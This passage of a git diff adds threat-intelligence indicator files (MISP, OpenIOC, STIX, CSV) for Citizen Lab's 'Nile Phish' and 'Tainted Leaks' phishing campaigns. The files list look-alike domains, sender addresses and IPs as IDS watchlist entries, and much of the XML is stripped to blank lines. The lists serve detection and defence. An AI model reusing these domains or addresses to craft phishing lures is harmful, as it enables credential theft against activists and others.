"distribution": "5", + "timestamp": "1484585132", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "fedex.mails.shipping@gmail.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15385", + "type": "email-src", + "category": "Payload delivery", + "to_ids": false, + "uuid": "587cf8ac-07ac-4f31-b12a-0bbb8e96ca05", + "event_id": "89", + "distribution": "5", + "timestamp": "1484585132", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "dropbox.notifications.mails@gmail.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15649", + "type": "email-src", + "category": "Payload delivery", + "to_ids": false, + "uuid": "5887755a-551c-49ca-9e41-07288e96ca05", + "event_id": "89", + "distribution": "5", + "timestamp": "1485272410", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "dropbox.notfication@gmail.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15650", + "type": "email-src", + "category": "Payload delivery", + "to_ids": false, + "uuid": "5887755a-4b1c-4e2a-96ac-07288e96ca05", + "event_id": "89", + "distribution": "5", + "timestamp": "1485272410", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "drive.noreply.mail@gmail.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + } + ], + "ShadowAttribute": [ + + ], + "RelatedEvent": [ + + ], + "Tag": [ + ] + } +}]} diff --git a/data/ioc/spyware/citizen_lab/201702_NilePhish/openioc.ioc b/data/ioc/spyware/citizen_lab/201702_NilePhish/openioc.ioc new file mode 100644 index 0000000..c08bdda --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201702_NilePhish/openioc.ioc @@ -0,0 +1,165 @@ + + + Event #89 + Nile Phish - attacks again Egyptian civil society + + citizenlab + 2017-01-16T00:00:00 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/data/ioc/spyware/citizen_lab/201702_NilePhish/stix.xml b/data/ioc/spyware/citizen_lab/201702_NilePhish/stix.xml new file mode 100644 index 0000000..28f8bb3 --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201702_NilePhish/stix.xml @@ -0,0 +1,1249 @@ + + + Export from MISP + Threat Report + + + + + + Nile Phish - attacks again Egyptian civil society + Threat Report + + + + Nile Phish - attacks again Egyptian civil society + 89 + + 2017-01-16T00:00:00+00:00 + 2017-01-31T13:49:48+00:00 + + Open + + + Network activity + + Network activity: account-google.serveftp.com (MISP Attribute #15651) + Malware Artifacts + Domain Watchlist + Network activity: account-google.serveftp.com (MISP Attribute #15651) + + + + + account-google.serveftp.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: aramex-shipping.servehttp.com (MISP Attribute #15652) + Malware Artifacts + Domain Watchlist + Network activity: aramex-shipping.servehttp.com (MISP Attribute #15652) + + + + + aramex-shipping.servehttp.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: device-activation.servehttp.com (MISP Attribute #15653) + Malware Artifacts + Domain Watchlist + Network activity: device-activation.servehttp.com (MISP Attribute #15653) + + + + + device-activation.servehttp.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: dropbox-service.serveftp.com (MISP Attribute #15654) + Malware Artifacts + Domain Watchlist + Network activity: dropbox-service.serveftp.com (MISP Attribute #15654) + + + + + dropbox-service.serveftp.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: dropbox-sign.servehttp.com (MISP Attribute #15655) + Malware Artifacts + Domain Watchlist + Network activity: dropbox-sign.servehttp.com (MISP Attribute #15655) + + + + + dropbox-sign.servehttp.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: dropboxsupport.servehttp.com (MISP Attribute #15656) + Malware Artifacts + Domain Watchlist + Network activity: dropboxsupport.servehttp.com (MISP Attribute #15656) + + + + + dropboxsupport.servehttp.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: fedex-mail.servehttp.com (MISP Attribute #15657) + Malware Artifacts + Domain Watchlist + Network activity: fedex-mail.servehttp.com (MISP Attribute #15657) + + + + + fedex-mail.servehttp.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: fedex-shipping.servehttp.com (MISP Attribute #15658) + Malware Artifacts + Domain Watchlist + Network activity: fedex-shipping.servehttp.com (MISP Attribute #15658) + + + + + fedex-shipping.servehttp.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: fedex-sign.servehttp.com (MISP Attribute #15659) + Malware Artifacts + Domain Watchlist + Network activity: fedex-sign.servehttp.com (MISP Attribute #15659) + + + + + fedex-sign.servehttp.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: googledriver-sign.ddns.net (MISP Attribute #15660) + Malware Artifacts + Domain Watchlist + Network activity: googledriver-sign.ddns.net (MISP Attribute #15660) + + + + + googledriver-sign.ddns.net + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: googledrive-sign.servehttp.com (MISP Attribute #15661) + Malware Artifacts + Domain Watchlist + Network activity: googledrive-sign.servehttp.com (MISP Attribute #15661) + + + + + googledrive-sign.servehttp.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: google-maps.servehttp.com (MISP Attribute #15662) + Malware Artifacts + Domain Watchlist + Network activity: google-maps.servehttp.com (MISP Attribute #15662) + + + + + google-maps.servehttp.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: googlesecure-serv.servehttp.com (MISP Attribute #15663) + Malware Artifacts + Domain Watchlist + Network activity: googlesecure-serv.servehttp.com (MISP Attribute #15663) + + + + + googlesecure-serv.servehttp.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: googlesignin.servehttp.com (MISP Attribute #15664) + Malware Artifacts + Domain Watchlist + Network activity: googlesignin.servehttp.com (MISP Attribute #15664) + + + + + googlesignin.servehttp.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: googleverify-signin.servehttp.com (MISP Attribute #15665) + Malware Artifacts + Domain Watchlist + Network activity: googleverify-signin.servehttp.com (MISP Attribute #15665) + + + + + googleverify-signin.servehttp.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mailgooglesign.servehttp.com (MISP Attribute #15666) + Malware Artifacts + Domain Watchlist + Network activity: mailgooglesign.servehttp.com (MISP Attribute #15666) + + + + + mailgooglesign.servehttp.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: myaccount.servehttp.com (MISP Attribute #15667) + Malware Artifacts + Domain Watchlist + Network activity: myaccount.servehttp.com (MISP Attribute #15667) + + + + + myaccount.servehttp.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: secure-team.servehttp.com (MISP Attribute #15668) + Malware Artifacts + Domain Watchlist + Network activity: secure-team.servehttp.com (MISP Attribute #15668) + + + + + secure-team.servehttp.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: security-myaccount.servehttp.com (MISP Attribute #15669) + Malware Artifacts + Domain Watchlist + Network activity: security-myaccount.servehttp.com (MISP Attribute #15669) + + + + + security-myaccount.servehttp.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: verification-acc.servehttp.com (MISP Attribute #15670) + Malware Artifacts + Domain Watchlist + Network activity: verification-acc.servehttp.com (MISP Attribute #15670) + + + + + verification-acc.servehttp.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: dropbox-verfy.servehttp.com (MISP Attribute #15671) + Malware Artifacts + Domain Watchlist + Network activity: dropbox-verfy.servehttp.com (MISP Attribute #15671) + + + + + dropbox-verfy.servehttp.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: fedex-s.servehttp.com (MISP Attribute #15672) + Malware Artifacts + Domain Watchlist + Network activity: fedex-s.servehttp.com (MISP Attribute #15672) + + + + + fedex-s.servehttp.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: watchyoutube.servehttp.com (MISP Attribute #15673) + Malware Artifacts + Domain Watchlist + Network activity: watchyoutube.servehttp.com (MISP Attribute #15673) + + + + + watchyoutube.servehttp.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: verification-team.servehttp.com (MISP Attribute #15674) + Malware Artifacts + Domain Watchlist + Network activity: verification-team.servehttp.com (MISP Attribute #15674) + + + + + verification-team.servehttp.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: securityteam-notify.servehttp.com (MISP Attribute #15675) + Malware Artifacts + Domain Watchlist + Network activity: securityteam-notify.servehttp.com (MISP Attribute #15675) + + + + + securityteam-notify.servehttp.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: secure-alert.servehttp.com (MISP Attribute #15676) + Malware Artifacts + Domain Watchlist + Network activity: secure-alert.servehttp.com (MISP Attribute #15676) + + + + + secure-alert.servehttp.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: quota-notification.servehttp.com (MISP Attribute #15677) + Malware Artifacts + Domain Watchlist + Network activity: quota-notification.servehttp.com (MISP Attribute #15677) + + + + + quota-notification.servehttp.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: notification-team.servehttp.com (MISP Attribute #15678) + Malware Artifacts + Domain Watchlist + Network activity: notification-team.servehttp.com (MISP Attribute #15678) + + + + + notification-team.servehttp.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: fedex-notification.servehttp.com (MISP Attribute #15679) + Malware Artifacts + Domain Watchlist + Network activity: fedex-notification.servehttp.com (MISP Attribute #15679) + + + + + fedex-notification.servehttp.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: docs-mails.servehttp.com (MISP Attribute #15680) + Malware Artifacts + Domain Watchlist + Network activity: docs-mails.servehttp.com (MISP Attribute #15680) + + + + + docs-mails.servehttp.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: restricted-videos.servehttp.com (MISP Attribute #15681) + Malware Artifacts + Domain Watchlist + Network activity: restricted-videos.servehttp.com (MISP Attribute #15681) + + + + + restricted-videos.servehttp.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: dropboxnotification.servehttp.com (MISP Attribute #15682) + Malware Artifacts + Domain Watchlist + Network activity: dropboxnotification.servehttp.com (MISP Attribute #15682) + + + + + dropboxnotification.servehttp.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: moi-gov.serveftp.com (MISP Attribute #15683) + Malware Artifacts + Domain Watchlist + Network activity: moi-gov.serveftp.com (MISP Attribute #15683) + + + + + moi-gov.serveftp.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: activate-google.servehttp.com (MISP Attribute #15685) + Malware Artifacts + Domain Watchlist + Network activity: activate-google.servehttp.com (MISP Attribute #15685) + + + + + activate-google.servehttp.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: googlemaps.servehttp.com (MISP Attribute #15686) + Malware Artifacts + Domain Watchlist + Network activity: googlemaps.servehttp.com (MISP Attribute #15686) + + + + + googlemaps.servehttp.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: 108.61.176.96 (MISP Attribute #15399) + Malware Artifacts + IP Watchlist + Network activity: 108.61.176.96 (MISP Attribute #15399) + + + + + 108.61.176.96 + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: 104.238.191.204 (MISP Attribute #15400) + Malware Artifacts + IP Watchlist + Network activity: 104.238.191.204 (MISP Attribute #15400) + + + + + 104.238.191.204 + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: 176.123.26.42 (MISP Attribute #15358) + Malware Artifacts + IP Watchlist + Network activity: 176.123.26.42 (MISP Attribute #15358) + + + + + 176.123.26.42 + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: secure.policy.check@gmail.com (MISP Attribute #15374) + Malware Artifacts + Malicious E-mail + Payload delivery: secure.policy.check@gmail.com (MISP Attribute #15374) + + + + + + + secure.policy.check@gmail.com + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: aramex.shipment@gmail.com (MISP Attribute #15375) + Malware Artifacts + Malicious E-mail + Payload delivery: aramex.shipment@gmail.com (MISP Attribute #15375) + + + + + + + aramex.shipment@gmail.com + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: fedex_tracking@outlook.sa (MISP Attribute #15376) + Malware Artifacts + Malicious E-mail + Payload delivery: fedex_tracking@outlook.sa (MISP Attribute #15376) + + + + + + + fedex_tracking@outlook.sa + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: mails.acc.noreply@gmail.com (MISP Attribute #15377) + Malware Artifacts + Malicious E-mail + Payload delivery: mails.acc.noreply@gmail.com (MISP Attribute #15377) + + + + + + + mails.acc.noreply@gmail.com + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: fedex.noreply@gmail.com (MISP Attribute #15378) + Malware Artifacts + Malicious E-mail + Payload delivery: fedex.noreply@gmail.com (MISP Attribute #15378) + + + + + + + fedex.noreply@gmail.com + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: customerserviceonlineteam@gmail.com (MISP Attribute #15379) + Malware Artifacts + Malicious E-mail + Payload delivery: customerserviceonlineteam@gmail.com (MISP Attribute #15379) + + + + + + + customerserviceonlineteam@gmail.com + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: fedexcustomers.service@gmail.com (MISP Attribute #15380) + Malware Artifacts + Malicious E-mail + Payload delivery: fedexcustomers.service@gmail.com (MISP Attribute #15380) + + + + + + + fedexcustomers.service@gmail.com + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: elnadeem.org@gmail.com (MISP Attribute #15381) + Malware Artifacts + Malicious E-mail + Payload delivery: elnadeem.org@gmail.com (MISP Attribute #15381) + + + + + + + elnadeem.org@gmail.com + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: dropbox.noreplay@gmail.com (MISP Attribute #15382) + Malware Artifacts + Malicious E-mail + Payload delivery: dropbox.noreplay@gmail.com (MISP Attribute #15382) + + + + + + + dropbox.noreplay@gmail.com + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: mails.noreply.verify@gmail.com (MISP Attribute #15383) + Malware Artifacts + Malicious E-mail + Payload delivery: mails.noreply.verify@gmail.com (MISP Attribute #15383) + + + + + + + mails.noreply.verify@gmail.com + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: fedex.mails.shipping@gmail.com (MISP Attribute #15384) + Malware Artifacts + Malicious E-mail + Payload delivery: fedex.mails.shipping@gmail.com (MISP Attribute #15384) + + + + + + + fedex.mails.shipping@gmail.com + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: dropbox.notifications.mails@gmail.com (MISP Attribute #15385) + Malware Artifacts + Malicious E-mail + Payload delivery: dropbox.notifications.mails@gmail.com (MISP Attribute #15385) + + + + + + + dropbox.notifications.mails@gmail.com + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: dropbox.notfication@gmail.com (MISP Attribute #15649) + Malware Artifacts + Malicious E-mail + Payload delivery: dropbox.notfication@gmail.com (MISP Attribute #15649) + + + + + + + dropbox.notfication@gmail.com + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: drive.noreply.mail@gmail.com (MISP Attribute #15650) + Malware Artifacts + Malicious E-mail + Payload delivery: drive.noreply.mail@gmail.com (MISP Attribute #15650) + + + + + + + drive.noreply.mail@gmail.com + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + + + citizenlab + + + + + ../../../descendant-or-self::node() + + + + + + + + + diff --git a/data/ioc/spyware/citizen_lab/201705_TaintedLeaks/iocs.csv b/data/ioc/spyware/citizen_lab/201705_TaintedLeaks/iocs.csv new file mode 100644 index 0000000..7034e21 --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201705_TaintedLeaks/iocs.csv @@ -0,0 +1,13 @@ +uuid,event_id,category,type,value,comment,to_ids,date +5926f463-45f0-45c6-bf0a-53928e96ca05,100,Network activity,domain,mail-google-login.blogspot.com,,1,20170525 +5926f463-8944-4fcc-b570-53928e96ca05,100,Network activity,domain,id9954.gq,,1,20170525 +5926f463-9b30-4133-9f8a-53928e96ca05,100,Network activity,domain,id834.ga,,1,20170525 +5926f463-a1dc-4042-a982-53928e96ca05,100,Network activity,domain,id4242.ga,,1,20170525 +5926f463-dc78-4a45-ba38-53928e96ca05,100,Network activity,domain,id833.ga,,1,20170525 +5926f463-f7d4-432d-b56a-53928e96ca05,100,Network activity,domain,com-securitysettingpage.tk,,1,20170525 +5926f4a8-cb10-4528-89f8-5d828e96ca05,100,Network activity,ip-dst,80.255.12.237,,1,20170525 +5926f4a8-cf18-4416-b85d-5d828e96ca05,100,Network activity,ip-dst,89.40.181.119,,1,20170525 +5926f4a8-e18c-4b39-b0ac-5d828e96ca05,100,Network activity,ip-dst,89.32.40.238,,1,20170525 +5926f504-4e00-4343-9488-5d828e96ca05,100,Payload delivery,email-src,g.mail2017@yandex.com,,1,20170525 +5926f504-53f4-4700-8a2b-5d828e96ca05,100,Payload delivery,email-src,annaablony@mail.com,,1,20170525 +5926f504-a840-4d0e-8d26-5d828e96ca05,100,Payload delivery,email-src,myprimaryreger@gmail.com,,1,20170525 diff --git a/data/ioc/spyware/citizen_lab/201705_TaintedLeaks/misp.json b/data/ioc/spyware/citizen_lab/201705_TaintedLeaks/misp.json new file mode 100644 index 0000000..c843df6 --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201705_TaintedLeaks/misp.json @@ -0,0 +1,294 @@ +{"response":[{ + "Event": { + "id": "100", + "orgc_id": "2", + "org_id": "2", + "date": "2017-05-25", + "threat_level_id": "2", + "info": "TAINTED LEAKS: Disinformation and Phishing With a Russian Nexus", + "published": true, + "uuid": "5926f385-8a58-4fc0-a075-5d828e96ca05", + "attribute_count": "12", + "analysis": "2", + "timestamp": "1495725316", + "distribution": "1", + "proposal_email_lock": false, + "locked": false, + "publish_timestamp": "1495725350", + "sharing_group_id": "0", + "Org": { + "id": "2", + "name": "citizenlab", + "uuid": "581b5fea-818c-441a-bd1d-49798e96ca05" + }, + "Orgc": { + "id": "2", + "name": "citizenlab", + "uuid": "581b5fea-818c-441a-bd1d-49798e96ca05" + }, + "Attribute": [ + { + "id": "16046", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5926f463-dc78-4a45-ba38-53928e96ca05", + "event_id": "100", + "distribution": "5", + "timestamp": "1495725155", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "id833.ga", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16047", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5926f463-9b30-4133-9f8a-53928e96ca05", + "event_id": "100", + "distribution": "5", + "timestamp": "1495725155", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "id834.ga", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16048", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5926f463-8944-4fcc-b570-53928e96ca05", + "event_id": "100", + "distribution": "5", + "timestamp": "1495725155", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "id9954.gq", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16049", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5926f463-a1dc-4042-a982-53928e96ca05", + "event_id": "100", + "distribution": "5", + "timestamp": "1495725155", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "id4242.ga", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16050", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5926f463-45f0-45c6-bf0a-53928e96ca05", + "event_id": "100", + "distribution": "5", + "timestamp": "1495725155", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mail-google-login.blogspot.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16051", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5926f463-f7d4-432d-b56a-53928e96ca05", + "event_id": "100", + "distribution": "5", + "timestamp": "1495725155", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "com-securitysettingpage.tk", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16055", + "type": "ip-dst", + "category": "Network activity", + "to_ids": true, + "uuid": "5926f4a8-cf18-4416-b85d-5d828e96ca05", + "event_id": "100", + "distribution": "5", + "timestamp": "1495725224", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "89.40.181.119", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16056", + "type": "ip-dst", + "category": "Network activity", + "to_ids": true, + "uuid": "5926f4a8-e18c-4b39-b0ac-5d828e96ca05", + "event_id": "100", + "distribution": "5", + "timestamp": "1495725224", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "89.32.40.238", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16057", + "type": "ip-dst", + "category": "Network activity", + "to_ids": true, + "uuid": "5926f4a8-cb10-4528-89f8-5d828e96ca05", + "event_id": "100", + "distribution": "5", + "timestamp": "1495725224", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "80.255.12.237", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16058", + "type": "email-src", + "category": "Payload delivery", + "to_ids": true, + "uuid": "5926f504-4e00-4343-9488-5d828e96ca05", + "event_id": "100", + "distribution": "5", + "timestamp": "1495725316", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "g.mail2017@yandex.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16059", + "type": "email-src", + "category": "Payload delivery", + "to_ids": true, + "uuid": "5926f504-53f4-4700-8a2b-5d828e96ca05", + "event_id": "100", + "distribution": "5", + "timestamp": "1495725316", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "annaablony@mail.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16060", + "type": "email-src", + "category": "Payload delivery", + "to_ids": true, + "uuid": "5926f504-a840-4d0e-8d26-5d828e96ca05", + "event_id": "100", + "distribution": "5", + "timestamp": "1495725316", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "myprimaryreger@gmail.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + } + ], + "ShadowAttribute": [ + + ], + "RelatedEvent": [ + + ], + "Tag": [ + { + "id": "5", + "name": "SOURCE:CITIZENLAB", + "colour": "#ffad0d", + "exportable": true, + "org_id": false + }, + { + "id": "8", + "name": "PUBLISHED", + "colour": "#91caff", + "exportable": true, + "org_id": false + } + ] + } +}]} \ No newline at end of file diff --git a/data/ioc/spyware/citizen_lab/201705_TaintedLeaks/openioc.ioc b/data/ioc/spyware/citizen_lab/201705_TaintedLeaks/openioc.ioc new file mode 100644 index 0000000..5ed99b1 --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201705_TaintedLeaks/openioc.ioc @@ -0,0 +1,61 @@ + + + Event #100 + TAINTED LEAKS: Disinformation and Phishing With a Russian Nexus + + citizenlab + 2017-05-25T00:00:00 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/data/ioc/spyware/citizen_lab/201705_TaintedLeaks/stix.xml b/data/ioc/spyware/citizen_lab/201705_TaintedLeaks/stix.xml new file mode 100644 index 0000000..adbeb3f --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201705_TaintedLeaks/stix.xml @@ -0,0 +1,366 @@ + + + Export from MISP + Threat Report + + + + + + TAINTED LEAKS: Disinformation and Phishing With a Russian Nexus (MISP Event #100) + Threat Report + + + + TAINTED LEAKS: Disinformation and Phishing With a Russian Nexus + 100 + + 2017-05-25T00:00:00+00:00 + 2017-05-25T11:15:50+00:00 + + Closed + + + Network activity + + Network activity: id833.ga (MISP Attribute #16046) + Malware Artifacts + Domain Watchlist + Network activity: id833.ga (MISP Attribute #16046) + + + + + id833.ga + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: id834.ga (MISP Attribute #16047) + Malware Artifacts + Domain Watchlist + Network activity: id834.ga (MISP Attribute #16047) + + + + + id834.ga + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: id9954.gq (MISP Attribute #16048) + Malware Artifacts + Domain Watchlist + Network activity: id9954.gq (MISP Attribute #16048) + + + + + id9954.gq + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: id4242.ga (MISP Attribute #16049) + Malware Artifacts + Domain Watchlist + Network activity: id4242.ga (MISP Attribute #16049) + + + + + id4242.ga + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mail-google-login.blogspot.com (MISP Attribute #16050) + Malware Artifacts + Domain Watchlist + Network activity: mail-google-login.blogspot.com (MISP Attribute #16050) + + + + + mail-google-login.blogspot.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: com-securitysettingpage.tk (MISP Attribute #16051) + Malware Artifacts + Domain Watchlist + Network activity: com-securitysettingpage.tk (MISP Attribute #16051) + + + + + com-securitysettingpage.tk + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: 89.40.181.119 (MISP Attribute #16055) + Malware Artifacts + IP Watchlist + Network activity: 89.40.181.119 (MISP Attribute #16055) + + + + + 89.40.181.119 + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: 89.32.40.238 (MISP Attribute #16056) + Malware Artifacts + IP 